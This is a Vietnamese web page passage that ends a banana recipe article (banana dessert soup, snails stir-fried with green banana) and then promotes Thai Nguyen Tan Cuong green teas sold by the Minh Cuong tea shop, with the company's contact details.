Bạn nên cho đỗ xanh lên đun trước cho thật nhừ rồi cho nước cốt dừa, đường và chuối bổ nhỏ vào đun từ 5- 7 phút để đường ngấm vào chuối. Khi gần bắc xuống thì chúng ta hòa bột năng với nước và đổ vào, vừa đun vừa khuấy thật đều tay. Khi ăn chúng ta có thể cho thêm dừa tươi và dừa khô lên phía trên. Món chè chuối này nếu được để lạnh thì sẽ cực kỳ thơm ngon đấy nhé.

Ốc xào chuối

Không phải là một món ăn quá xa lạ, ốc xào chuối là món ăn khá quen thuộc trong mọi gia đình. Nguyên liệu để nấu món ốc xào chuối này bao gồm:

  • Chuối tiêu xanh
  • Ốc mít hoặc ốc nhồi
  • Tía tô, xương sông, lá lốt

Trước tiên chúng ta luộc sơ qua ốc để có thể dễ khêu ốc hơ và giúp ốc không bị tanh. Chuối xanh cần tước bỏ vỏ, thái lát mỏng và ngâm muối hoặc nước vo gạo cho bớt chát. Sau khi đã sơ chế qua tất cả các nguyên liệu bạn nên cho chuối và ốc vào nồi và xào cùng với nhau, nêm gia vị cho vừa ăn. Đảo thật đều tay để chuối và ốc không bị cháy, thỉnh thoảng chúng ta có thể cho thêm nước. Đun từ 20- 25 phút cho chuối và ốc chín rồi thái nhỏ tía tô, lá lốt cho vào.

 

Với những món ngon từ chuối này chúng ta có thể ăn chuối cả ngày cho đẹp da, bổ sung vitamin mà không hề lo ngán ngẩm chút nào đâu nhé, đặc biệt là món chuối xào ốc sẽ là món đưa cơm tuyệt vời nhất trong hè này.

Ẩm thực

Ẩm thực Trà Tân Cương Thái Nguyên

Trà tân cương Thái Nguyên đã được mọi người bỏ phiếu xếp hạng là một trong những thức uống ẩm thực ngon lành nổi tiếng của Việt Nam. Ẩm thực trà tân cương Thái Nguyên đã được đi vào thơ ca khi những người mê trà ngồi thong dong nhâm nhi tách trà trước cảnh hùng vĩ của đất trời vào sáng sớm:

“Tân Cương Đệ Nhất Danh Trà

Thơm mùi hương cốm, la cà trong sương

Tỉ tê, ngồi vén hứng sương

Vị trà thơm quá , mà quên lối về”.

1. Ẩm thực trà tân cương Nhất Phẩm

Ẩm thực trà tân cương Nhất Phẩm là thức uống an toàn, thơm ngon và bổ dưỡng của mỗi gia đình người Việt. Cụ Thắng, hái trà Nhất Phẩm để uống mà không quên ngâm nga vài dòng thơ bất hủ:

“Làm trai biết đánh tổ tôm,

Uống trà Nhất Phẩm, ngâm nôm Thúy Kiều”.

Trà Nhất phẩm được chế biến theo phương thức truyền thống bí truyền của các nghệ nhân sành nghề xứ Thái mang đậm tình yêu quê hương, tình yêu dân tộc của những người dân làm nghề bán chè thái nguyên lâu đời.

Ẩm thực trà tân cương Nhất Phẩm 1kg
Ẩm thực trà tân cương Nhất Phẩm 1kg

Bạn có thể xem chi tiết: Trà Tân cương Nhất Phẩm

2. Ẩm thực Trà Tân Cương Lộc Xuân

Vùng đất Thái Nguyên có không biết bao nhiêu nơi trồng cây chè,nhưng ở đất Tân Cương có một loại cây chè xanh, thơm và quyến rũ đặc biệt. Được hái từ những lá non của những cây chè đẹp nhất của đồi chè tân cương Thái Nguyên, Ẩm thực Trà Tân Cương Lộc Xuân làm xao xuyến lòng người thưởng thức trà bấy lâu nay.

Ẩm thực Trà Tân Cương Lộc Xuân là trà tân cương thái nguyên chính hiệu

Nước trà xanh, phảng phất hương vị cốm đầu mùa, uống mãi mà không chán. Vị không êm bằng trà khang thái nhưng chúng ta có thể thấy được tâm tư tình cảm của những người dân xứ thái qua tách trà mộng mơ. Nước không có màu xanh vàng quyến rũ như trà đinh ngọcnhưng với giá 260000 đồng thì chè lộc xuân cũng làm ta đủ mê mẩn.

Ẩm thực trà tân cương lộc xuân 100g
Ẩm thực trà tân cương lộc xuân 100g

Cách chế biến ẩm thực Trà Tân Cương Lộc Xuân

  • Những lá trà thái nguyên sau khi hái về được bác thợ mang đi phơi héo nhờ ánh nắng tự nhiên của mặt trời để trên những tấm phên tre trên nền sân nhà thơ mộng và sạch sẽ.
  • Sau đó, trà được mang vào sấy khô một cách tỉ mỉ và cẩn thận.
  • Người thợ sao chè bằng củi lửa hết sức cẩn thận.
  • Công đoạn lấy hương rất quan trọng với công phu lấy lửa bí truyền được các nghệ nhân trong nghề chè làm khéo léo mà trà lộc xuân không bị cháy.

Xem thêm: Trà tân cương Lộc Xuân   của tiệm Trà Minh Cường.

3. Ẩm thực Trà Tân Cương Đinh Ngọc

  • Những búp chè mỏng và nhỏ xíu như những chiếc đinh cỡ nhỏ.
  • Màu cánh chè đinh hơi mốc, như màu tuyết.
  • Chè Đinh ngọc có vị thơm nồng hậu mà trà Long ẩm và trà Khang Thái không thể nào có được, làm lòng người thổn thức, bâng khuâng, vàng sóng sánh màu mật ong rừng Tây Nguyên.
  • Trà Đinh thường được đóng gói 100g, 200g. Là món quà quý giá tặng tâm giao, gia đình, bạn bè vừa ý nghĩa, vừa sang trọng, gắn kết mọi người gần với nhau hơn.
  • Tiệm trà Minh Cường có dán tem mác trà Đinh ngọc nhãn hiệu trà Minh Cường, hộp carton sang trọng, lịch thiệp.
Ẩm thực Trà Thái Nguyên Minh Cường
Ẩm thực Trà Thái Nguyên Minh Cường

Công ty TNHH TM&XNK Minh Cường

Địa chỉ: Đoàn Kết, Thuận Thành, Phổ Yên, Thái Nguyên

Nhà máy: Hồng Thái 2, Tân Cương, TP Thái Nguyên

VPGD tại Hà Nội: 65 Cù Chính Lan, Thanh Xuân

Số tài khoản: 10201-000189274-7 (Vietinbank chi nhánh Thanh Xuân, HN)

Chăm sóc khách hàng: (04) 62 944 886

Hotline: 0934 56 89 12